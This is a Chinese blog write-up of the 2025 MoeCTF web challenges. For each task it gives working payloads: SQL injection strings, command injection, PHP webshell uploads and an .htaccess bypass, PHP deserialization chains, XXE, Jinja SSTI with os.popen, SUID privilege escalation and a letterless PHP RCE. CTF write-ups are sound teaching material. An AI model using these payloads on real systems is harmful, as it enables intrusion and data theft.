2025Moectf-web-WP
本文最后更新于97 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

前言

感觉Web出的特别好,难度层次和知识点都比较全….差个附加挑战就ak了,可惜。

0Web入门指北

你知道什么是控制台吗?快去了解一下吧!
.......]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])

给了一堆jsfuck。其实浏览器控制台直接运行即可,但是我浏览器有限制无法允许执行eval的函数。

直接写入文件

console.log(附件内容)

image-20250922175119920

执行即可

moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

01 第一章 神秘的手镯

ctrl+u直接看源码,flag就在js里

image-20250922175902902

02 第二章 初识金曦玄轨

还是看源码

image-20250922180257556

直接浏览器抓包就看到返回了flag

image-20250922182651211

03 第三章 问剑石!篡天改命!

image-20250922184456635

考察的bp使用。抓包后将level改为S,manifestation改为flowing_azure_clouds即可

image-20250922184621635

05 第五章 打上门来!

考点为目录穿越。

image-20250922184802440

10 第十章 天机符阵

直接访问/flag.txt即可。这题非预期了,修复好的解法在revenge

12 第十二章 玉魄玄关·破妄

直接给了一句话木马,hackbar执行即可,flag在环境变量里

image-20250922185520912

16 第十六章 昆仑星途

 <?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php"); 

考点为空字符截断。这里用%0A换行符即可。

image-20250922190429035

Moe笑传之猜猜爆

看页面源码

// 猜对后请求flag
    fetch('/flag', {method: 'POST'})
      .then(res => res.json())
      .then(data => {
        document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
      });
    setGameOver();
  }

没有对输入做任何验证

直接hackbar用POST方法请求flag即可。参数随意

image-20250922190827506

01 第一章 神秘的手镯_revenge

这题以为要解密前端JS,半天解不出来,回到前面仔细阅读发现是给了提示的,并不是逆向js的题。吐了耽误我一个小时。以后做题前要好好读题。

题目提示有备份。了解一下常见备份文件名。这里直接访问wanyanzhou.txt.bak发现可以下载文件。

得到万言咒内容,刚好10000个字符。但是要发送500次。直接写js代码在控制台运行一把梭

async function send500Times() {
    const textarea = document.getElementById('passwordInput');
    const button = document.getElementById('unsealButton');
    const resultDiv = document.getElementById('result');    
    // 清空结果区域
    resultDiv.innerHTML = '';
    for (let i = 1; i <= 500; i++) {
        // 每次清空textarea
        textarea.value = '';     
        // 输入"万言咒"
        textarea.value = '内容';
        // 触发输入事件(模拟真实输入)
        const inputEvent = new Event('input', { bubbles: true });
        textarea.dispatchEvent(inputEvent);
        // 点击发送按钮
        button.click();
        console.log(`第 ${i} 次发送: 123`);      
        // 等待一段时间再发送下一次(模拟人工间隔)
        await new Promise(resolve => setTimeout(resolve, 50));  
        // 检查是否有结果出现(比如flag)
        if (resultDiv.innerHTML && resultDiv.innerHTML.includes('flag')) {
            console.log('发现flag,停止发送');
            break;
        }
    }
}
// 执行发送
send500Times();

直接运行即可

image-20250922193052467

04 第四章 金曦破禁与七绝傀儡阵

目的是了解bp使用和http协议。

image-20250922193337748

看源码得到路由开始第一关。

image-20250922193554390

get传参通过第一关。并通过源码路由来到第二关。

image-20250922193827107

POST通过第二关,来到第三关。

image-20250922194042235

添加XFF头127.0.0.1,过关

image-20250922194203788

修改UA头,下一关。

image-20250922194326454

添加cookie通过,下一关。

image-20250922194426930

添加Referer头。下一关

image-20250922194546421

PUT方法传参。

将得到的碎片拼接然后base64解密即可

06 第六章 藏经禁制?玄机初探!

考点sql注入,万能密码即可。

image-20250922195113607

07 第七章 灵蛛探穴与阴阳双生符

访问进去,没有任何路由和输入点的提示,尝试访问下robots.txt,得到/flag.php。访问下。

 <?php
highlight_file(__FILE__);
$flag = getenv('FLAG');
$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";
if($a == $b){
    die("error 1");
}
if(md5($a) != md5($b)){
    die("error 2");
}
echo $flag; error 1

md5弱比较.网上一搜一大堆。

payload:url/flag.php?a=QNKCDZO&b=s155964671a

09 第九章 星墟禁制·天机问路

考点为命令执行,管道符|即可,flag在环境变量里

payload:www.baidu.com|cat /proc/self/environ

13 第十三章 通幽关·灵纹诡影

image-20250922200053541

文件上传题。限制了后缀,并且检测文件头。但是后端没有验证。我们bp绕过即可

上传一个shell.php,bp抓包,加上JPG头即可

image-20250922200436757

然后访问/uploads/shell.php。

image-20250922200601113

17 第十七章 星骸迷阵·神念重构

反序列化

 <?php
highlight_file(__FILE__);
class A {
    public $a;
    function __destruct() {
        eval($this->a);
    }
}
if(isset($_GET['a'])) {
    unserialize($_GET['a']);
} 

poc:

 <?php
highlight_file(__FILE__);
class A {
    public $a = 'phpinfo();';
    function __destruct() {
        eval($this->a);
    }
}
echo serialize(new A);

image-20250922200817417

10 第十章 天机符阵_revenge

考点是报错XXE。

基于报错的三层嵌套参数实体XXE payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag.txt">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

14 第十四章 御神关·补天玉碑

image-20250922201424561

对后缀进行了后端过滤,但是服务器为apache,我们可以用.htaccess的解析配置来绕过。

先上传.htaccess文件,内容为

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

意思是将服务器同目录下的.jpg后缀文件解析为php文件。

然后上传shell.jpg。

<?php phpinfo();?>

直接访问即可

image-20250922201843687

18 第十八章 万卷诡阁·功法连环

 <?php
highlight_file(__FILE__);
class PersonA {
    private $name;
    function __wakeup() {
        $name=$this->name;
        $name->work();
    }
}
class PersonB {
    public $name;
    function work(){
        $name=$this->name;
        eval($name);
    }
}
if(isset($_GET['person'])) {
    unserialize($_GET['person']);
} 

很简单的链子,没啥好讲的

poc:

 <?php
highlight_file(__FILE__);
class PersonA {
    private $name;
    public function __construct($name) {
        $this->name = $name;
    }
    function __wakeup() {
        $name=$this->name;
        $name->work();
    }
}
class PersonB {
    public $name = "phpinfo();";
    function work(){
        $name=$this->name;
        eval($name);
    }
}
echo urlencode(serialize(new PersonA(new PersonB())));

image-20250922203024826

19 第十九章 星穹真相·补天归源

 <?php
highlight_file(__FILE__);
class Person
{
    public $name;
    public $id;
    public $age;
    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}
class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $age = $this->age;
        $name->$id($age);
    }
}
class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }
}
class PersonC extends Person
{
    public function __Check($age)
    {
        if(str_contains($this->age . $this->name,"flag"))
        {
            die("Hacker!");
        }
        $name = $this->name;
        $name($age);
    }
    public function __wakeup()
    {
        $age = $this->age;
        $name = $this->id;
        $name->age = $age;
        $name($this);
    }
}
if(isset($_GET['person']))
{
    $person = unserialize($_GET['person']);
} 

代码看起来多,但其实很简单,只要利用personA和personC即可,其他的都没用

链子为personA::destruct–>personC::Check

 <?php
highlight_file(__FILE__);

class Person
{
    public $name;
    public $id;
    public $age;

    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}

class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $age = $this->age;
        $name->$id($age);
    }
}

class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }
}

class PersonC extends Person
{
    public function __Check($age)
    {
        if(str_contains($this->age . $this->name,"flag"))
        {
            die("Hacker!");
        }
        $name = $this->name;
        $name($age);
    }

    public function __wakeup()
    {
        $age = $this->age;
        $name = $this->id;
        $name->age = $age;
        $name($this);
    }
}
$a=new PersonA();
$c=new PersonC();
$c->name="system";
$a->name=$c;
$a->id="__Check";
$a->age="cat /f*";
echo serialize($a);

image-20250922213531298

20 第二十章 幽冥血海·幻语心魔

考点ssti,没有任何过滤,直接打即可

payload:{{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

摸金偶遇FLAG,拼尽全力难战胜

2秒内破解20次摩斯密码,考的是python爬虫基本功。

chatgpt一把梭。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_ctf_pycharm.py
适配在 PyCharm 中直接运行的一键脚本。
说明:
- 双击 Run(或点击绿色三角)即可运行,会在 Run 窗口要求输入 base URL / count 等。
- 依赖:requests (若未安装,请在 PyCharm terminal 中运行 `pip install requests`)
- 脚本会把最后一次 /verify 的返回保存到 ctf_result.json
"""
import json
import sys
import time
from typing import Any, Dict, List, Optional
# ---------- 可在此处直接写死默认值(方便快速运行) ----------
DEFAULT_BASE_URL = ""  # e.g. "http://challenge.yuanloo.com:39019"
DEFAULT_COUNT = 9
DEFAULT_TRIES = 3
TIMEOUT = 8
RETRY_DELAY = 1.0
OUTPUT_FILE = "ctf_result.json"
HEADERS = {
    "User-Agent": "ctf-automator/pycharm/1.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Content-Type": "application/json",
}
# ---------- 引入 requests(友好提示) ----------
try:
    import requests
except Exception:
    print("Error: requests 库未安装。请在 PyCharm 的 Terminal 中运行:")
    print("    pip install requests")
    sys.exit(1)
def get_challenge(session: requests.Session, base_url: str, count: int) -> Dict[str, Any]:
    url = base_url.rstrip("/") + f"/get_challenge?count={count}"
    resp = session.get(url, headers=HEADERS, timeout=TIMEOUT)
    resp.raise_for_status()
    return resp.json()
def verify_solution(session: requests.Session, base_url: str, numbers: List[Any], token: str) -> Any:
    url = base_url.rstrip("/") + "/verify"
    payload = {"answers": numbers, "token": token}
    resp = session.post(url, headers=HEADERS, json=payload, timeout=TIMEOUT)
    resp.raise_for_status()
    # 尝试解析 JSON,否则返回文本
    try:
        return resp.json()
    except ValueError:
        return {"raw": resp.text}
def attempt_once(session: requests.Session, base_url: str, count: int, do_verify: bool = True, verbose: bool = True):
    if verbose:
        print(f"[+] GET {base_url}/get_challenge?count={count} ...")
    data = get_challenge(session, base_url, count)
    if verbose:
        print("[+] GET response:", json.dumps(data, ensure_ascii=False))
    numbers = data.get("numbers")
    token = data.get("token")
    if numbers is None:
        raise RuntimeError("GET 返回没有包含 'numbers' 字段。响应:n" + json.dumps(data, ensure_ascii=False))
    if token is None:
        raise RuntimeError("GET 返回没有包含 'token' 字段。响应:n" + json.dumps(data, ensure_ascii=False))

    if not do_verify:
        return {"numbers": numbers, "token": token}

    if verbose:
        print("[+] POST /verify with received numbers & token ...")
    result = verify_solution(session, base_url, numbers, token)
    if verbose:
        print("[+] /verify 返回:", json.dumps(result, ensure_ascii=False, indent=2) if isinstance(result, dict) else str(result))
    return result
def save_output(obj: Any, filename: str = OUTPUT_FILE):
    try:
        with open(filename, "w", encoding="utf-8") as f:
            json.dump(obj, f, ensure_ascii=False, indent=2)
        print(f"[+] 已将结果保存至 {filename}")
    except Exception as e:
        print("[!] 保存结果文件失败:", e)
def prompt_input(prompt: str, default: Optional[str] = None) -> str:
    if default:
        r = input(f"{prompt} [{default}]: ").strip()
        return r if r != "" else default
    else:
        return input(f"{prompt}: ").strip()
def main():
    print("=== CTF 一键破解(PyCharm 版) ===")
    base_url = DEFAULT_BASE_URL.strip()
    if not base_url:
        base_url = prompt_input("请输入目标 base URL(例如 http://challenge.example.com:39019)")
    else:
        base_url = prompt_input("请输入目标 base URL(按 Enter 使用脚本内默认)", default=base_url)

    if not base_url:
        print("错误:未提供 base URL,退出。")
        return

    try:
        count_str = prompt_input("请输入要请求的数字长度 count", default=str(DEFAULT_COUNT))
        count = int(count_str)
    except Exception:
        count = DEFAULT_COUNT

    try:
        tries_str = prompt_input("尝试次数 (tries)", default=str(DEFAULT_TRIES))
        tries = int(tries_str)
    except Exception:
        tries = DEFAULT_TRIES

    do_verify_input = prompt_input("是否 POST /verify 获取 flag? (y/n)", default="y")
    do_verify = do_verify_input.lower() in ("y", "yes", "1", "true")

    session = requests.Session()
    # 如果需要先访问首页以获取 cookies / csrf,请取消下面注释:
    # try:
    #     session.get(base_url.rstrip("/") + "/", headers=HEADERS, timeout=TIMEOUT)
    # except Exception as e:
    #     print("[!] 访问首页失败(可忽略),错误:", e)

    last_response = None
    success = False
    for i in range(1, tries + 1):
        print(f"n--- 第 {i}/{tries} 次尝试 ---")
        try:
            res = attempt_once(session, base_url, count, do_verify=do_verify, verbose=True)
            last_response = res
            # 简单判断是否成功(含 flag/win/correct 字样)
            if isinstance(res, dict):
                text = json.dumps(res, ensure_ascii=False).lower()
                if res.get("correct") is True or "flag" in res or "flag" in text or "correct" in text or "success" in text:
                    print("[+] 似乎成功了,停止重试。")
                    success = True
                    break
            else:
                # 非 dict 响应
                if "flag" in str(res).lower():
                    print("[+] 似乎成功了(返回文本中包含 flag),停止重试。")
                    success = True
                    break
        except Exception as e:
            print("[!] 本次尝试出现异常:", e)
            last_response = {"error": str(e)}
        if i < tries:
            print(f"[i] 等待 {RETRY_DELAY} 秒后重试...")
            time.sleep(RETRY_DELAY)

    print("n=== 结束 ===")
    if success:
        print("[+] 最终结果(已保存):")
    else:
        print("[-] 未能在指定尝试次数内确认 flag,保存最后一次响应以供分析。")
    print(json.dumps(last_response, ensure_ascii=False, indent=2) if isinstance(last_response, dict) else str(last_response))
    save_output(last_response, OUTPUT_FILE)
if __name__ == "__main__":
    main()

08 第八章 天衍真言,星图显圣

考点是sql的联合注入。显示列数,必须为2,其他情况都报错。

然后爆库

-1'  union select database(),2 from flag#

爆表

-1'  union select group_concat(table_name),2 from information_schema.tables where table_schema='user'#

最后爆列

-1'  union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#

最后爆数据

-1'  union select group_concat(value),1 from flag#

image-20250922220711822

11 第十一章 千机变·破妄之眼

省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。

根据题目描述,我们用bp爆破下。先用python生成字典

from itertools import permutations
params = ['m', 'n', 'o', 'p', 'q']
with open('1.txt', 'w', encoding='utf-8') as f:
    for perm in permutations(params):
        param_name = ''.join(perm)  # 将排列组合成参数名,如"mnopq"
        f.write(f"{param_name}n")
print("已生成1.txt文件,包含120个参数组合")

bp模式选择Battering ram,

image-20250922223434719

然后导入字典。开始爆破,爆破后发现有一个length长度不对,打开查看发现就是这个

image-20250922223500777

直接访问find.php。然后伪协议读取即可

image-20250922223609578

php://filter/read=convert.base64-encode/resource=./flag.php

15 第十五章 归真关·竞时净魔

image-20250922223723453

看题目规则猜到是文件上传+条件竞争

参考链接:https://blog.csdn.net/weixin_45588247/article/details/118796606

对着做就行

19 第十九章_revenge

<?php
highlight_file(__FILE__);
class Person
{
    public $name;
    public $id;
    public $age;
}
class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $name->$id($this->age);
    }
}
class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }
    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}
class PersonC extends Person
{
    public function check($age)
    {
        $name=$this->name;
        if($age == null)
        {
            die("Age can't be empty.");
        }
        else if($name === "system")
        {
            die("Hacker!");
        }
        else
        {
            var_dump($name($age));
        }
    }
    public function __wakeup()
    {
        $name = $this->id;
        $name->age = $this->age;
        $name($this);
    }
}
if(isset($_GET['person']))
{
    $person = unserialize($_GET['person']);
}

加了过滤,没啥用,system换成file_get_content即可,flag在环境变量里

POC:

 <?php
highlight_file(__FILE__);

class Person
{
    public $name;
    public $id;
    public $age;
}

class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $name->$id($this->age);
    }
}

class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }

    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}

class PersonC extends Person
{
    public function check($age)
    {
        $name=$this->name;
        if($age == null)
        {
            die("Age can't be empty.");
        }
        else if($name === "system")
        {
            die("Hacker!");
        }
        else
        {
            var_dump($name($age));
        }
    }

    public function __wakeup()
    {
        $name = $this->id;
        $name->age = $this->age;
        $name($this);
    }
}
$a=new PersonA();
$c=new PersonC();
$c->name="file_get_contents";
$c->age="1";
$a->name=$c;
$a->id="check";
$a->age="/proc/self/environ";
echo serialize($a);

image-20250922233704995

21 第二十一章 往生漩涡·言灵死局

from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = render_template_string(f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
            </div>
            """)

            for blk in blacklist:
                if blk in username:
                    login_msg = """
                    <div class="login-result" id="result">
                        <div class="result-title">阵法反馈</div>
                        <div id="result-content"><div class='login-fail'>Error</div></div>
                    </div>
                    """
    else:
        login_msg = ""
    return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

过滤了 ["__", "global", "{{", "}}"]。fenjing跑payload即可

{%print ((cycler.next['_'*2+'g''lobals'+'_'*2]['_'*2+'builtins'+'_'*2]['_'*2+'import'+'_'*2]('os')).popen('cat /flag')).read()%}

22 第二十二章 血海核心·千年手段

这题有意思

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
            </div>
            """
            render_template_string(login_msg)
    else:
        login_msg = ""

    return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

一看好像没啥变化,仔细看是这题考的无回显(没有return)

参考文章:https://www.cnblogs.com/tammy66/articles/18616135#server%E5%9B%9E%E6%98%BE

?username={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('ls+/').read())}}&password=1

image-20250922235225680

看到有flag但是我们无法读取,需要root权限,但是我们是www-data。所以这题要提权来读取。

先试试suid提权

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('find+/+-perm+-4000+2>/dev/null').read())}}

image-20250922235442075

看到有个/usr/bin/rev,其他都是正常文件没啥用。我们查看一下这个rev文件

image-20250922235922090

发现还有一个rev.c文件。估计就是rev的源码文件,查看一下

image-20250923000029666

源码拉下来看一下

#include <string.h>
int main(int argc, char **argv) {
    for(int i = 1; i + 1 < argc; i++) {
        if (strcmp("--HDdss", argv[i]) == 0) {
            execvp(argv[i + 1], &argv[i + 1]);
        }
    }
    return 0;
}

果然可以使用,代码意思就是寻找–HDdss参数,这个参数后面的内容当作命令来执行。

最终payload

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('/usr/bin/rev+--HDdss+cat+/flag').read())}}

这是…Webshell?

 <?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
        eval($shell);
    } else {
        echo "Hacker!";
    }
}
?> 

经典的无字母数字RCE,

具体原理参考链接:https://www.cnblogs.com/pursue-security/p/15404150.html

但是注意这里的PHP版本为5.6.40。

image-20250923182038109

php5.7及以下版本是不支持动态函数调用的,所以用取反和异或都会出现如下报错:

Parse error: syntax error, unexpected ‘(‘ in /var/www/html/index.php(6) : eval()’d code on line 1

所以只能用自增。构造函数并通过赋值来调用。

image-20250923185638969

这是…Webshell?_revenge

 <?php
highlight_file(__FILE__);
if (isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if (strlen($shell) > 30) {
        die("error: shell length exceeded");
    }
    if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
        die("error: shell not allowed");
    }
    eval($shell);
} 

在上一题的基础上加了长度限制,要用到无字母数字的进阶版临时文件上传。

具体原理和做法参考P神文章:无字母数字webshell之提高篇 | 离别歌

首先,我们写个本地文件上传的html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<form action="http://127.0.0.1:4748/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

其中url改为自己的环境地址。随后点击上传后抓包

image-20250923191052158

然后即可传参

POST /?shell=?><?=`.+/???/????????[@-[]`;?> HTTP/1.1
Host: 127.0.0.1:4748
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoYdAUJdjgRNgmegH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryoYdAUJdjgRNgmegH
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: application/octet-stream

#!/bin/sh
cat /f*
------WebKitFormBoundaryoYdAUJdjgRNgmegH
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryoYdAUJdjgRNgmegH--

因为要匹配,所以多发送几次就能成功了。

image-20250923192002592

23 第二十三章 幻境迷心·皇陨星沉(大结局)

jadx看一下jar包,反序列化链子还是很好找的。

源码:

package com.example.demo.Dog;

import java.io.Serializable;
import java.util.Objects;

/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/Dog.class */
public class Dog implements Serializable, DogModel {
    private int id;
    private String name;
    private String breed;
    private int age;
    private int hunger = 50;
    Object object;
    String methodName;
    Class[] paramTypes;
    Object[] args;

    public Dog(int id, String name, String breed, int age) {
        this.id = id;
        this.name = name;
        this.breed = breed;
        this.age = age;
    }

    @Override // com.example.demo.Dog.DogModel
    public int getId() {
        return this.id;
    }

    @Override // com.example.demo.Dog.DogModel
    public void setId(int id) {
        this.id = id;
    }

    @Override // com.example.demo.Dog.DogModel
    public String getName() {
        return this.name;
    }

    @Override // com.example.demo.Dog.DogModel
    public String getBreed() {
        return this.breed;
    }

    @Override // com.example.demo.Dog.DogModel
    public int getAge() {
        return this.age;
    }

    public int getHunger() {
        return this.hunger;
    }

    @Override // com.example.demo.Dog.DogModel
    public void feed() {
        this.hunger = Math.max(0, this.hunger - 10);
    }

    public boolean equals(Object o) {
        if (this == o) {
            return true;
        }
        if (o == null || getClass() != o.getClass()) {
            return false;
        }
        Dog dog = (Dog) o;
        return this.id == dog.id;
    }

    public int hashCode() {
        wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(Integer.valueOf(this.id));
    }
}
package com.example.demo.Dog;

import java.lang.reflect.Method;

/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/DogModel.class */
public interface DogModel {
    int getId();

    void setId(int i);

    String getName();

    String getBreed();

    int getAge();

    void feed();

    default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(methodName, paramTypes);
            return method.invoke(input, args);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}
package com.example.demo.Dog;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/DogService.class */
public class DogService implements Serializable {
    private Map<Integer, Dog> dogs = new HashMap();
    private int nextId = 1;

    public List<Dog> getAllDogs() {
        return new ArrayList(this.dogs.values());
    }

    public Dog addDog(String name, String breed, int age) {
        int i = this.nextId;
        this.nextId = i + 1;
        Dog dog = new Dog(i, name, breed, age);
        this.dogs.put(Integer.valueOf(dog.getId()), dog);
        return dog;
    }

    public Dog feedDog(int id) {
        Dog dog = this.dogs.get(Integer.valueOf(id));
        if (dog != null) {
            dog.feed();
        }
        return dog;
    }

    public Dog removeDog(int id) {
        return this.dogs.remove(Integer.valueOf(id));
    }

    public Object chainWagTail() {
        Object input = null;
        for (Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
            input = result;
        }
        return input;
    }

    public String exportDogsBase64() {
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Throwable th = null;
            try {
                ObjectOutputStream oos = new ObjectOutputStream(baos);
                Throwable th2 = null;
                try {
                    try {
                        oos.writeObject(new ArrayList(this.dogs.values()));
                        oos.flush();
                        String encodeToString = Base64.getEncoder().encodeToString(baos.toByteArray());
                        if (oos != null) {
                            if (0 != 0) {
                                try {
                                    oos.close();
                                } catch (Throwable th3) {
                                    th2.addSuppressed(th3);
                                }
                            } else {
                                oos.close();
                            }
                        }
                        return encodeToString;
                    } catch (Throwable th4) {
                        if (oos != null) {
                            if (th2 != null) {
                                try {
                                    oos.close();
                                } catch (Throwable th5) {
                                    th2.addSuppressed(th5);
                                }
                            } else {
                                oos.close();
                            }
                        }
                        throw th4;
                    }
                } finally {
                }
            } finally {
                if (baos != null) {
                    if (0 != 0) {
                        try {
                            baos.close();
                        } catch (Throwable th6) {
                            th.addSuppressed(th6);
                        }
                    } else {
                        baos.close();
                    }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
            return "";
        }
    }

    public void importDogsBase64(String base64Data) {
        try {
            try {
                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
                Throwable th = null;
                ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
                Throwable th2 = null;
                try {
                    try {
                        for (Dog dog : (Collection<Dog>) objectInputStream.readObject()) {
                            int i = this.nextId;
                            this.nextId = i + 1;
                            dog.setId(i);
                            this.dogs.put(Integer.valueOf(dog.getId()), dog);
                        }
                        if (objectInputStream != null) {
                            if (0 != 0) {
                                try {
                                    objectInputStream.close();
                                } catch (Throwable th3) {
                                    th2.addSuppressed(th3);
                                }
                            } else {
                                objectInputStream.close();
                            }
                        }
                        if (byteArrayInputStream != null) {
                            if (0 != 0) {
                                try {
                                    byteArrayInputStream.close();
                                } catch (Throwable th4) {
                                    th.addSuppressed(th4);
                                }
                            } else {
                                byteArrayInputStream.close();
                            }
                        }
                    } catch (Throwable th5) {
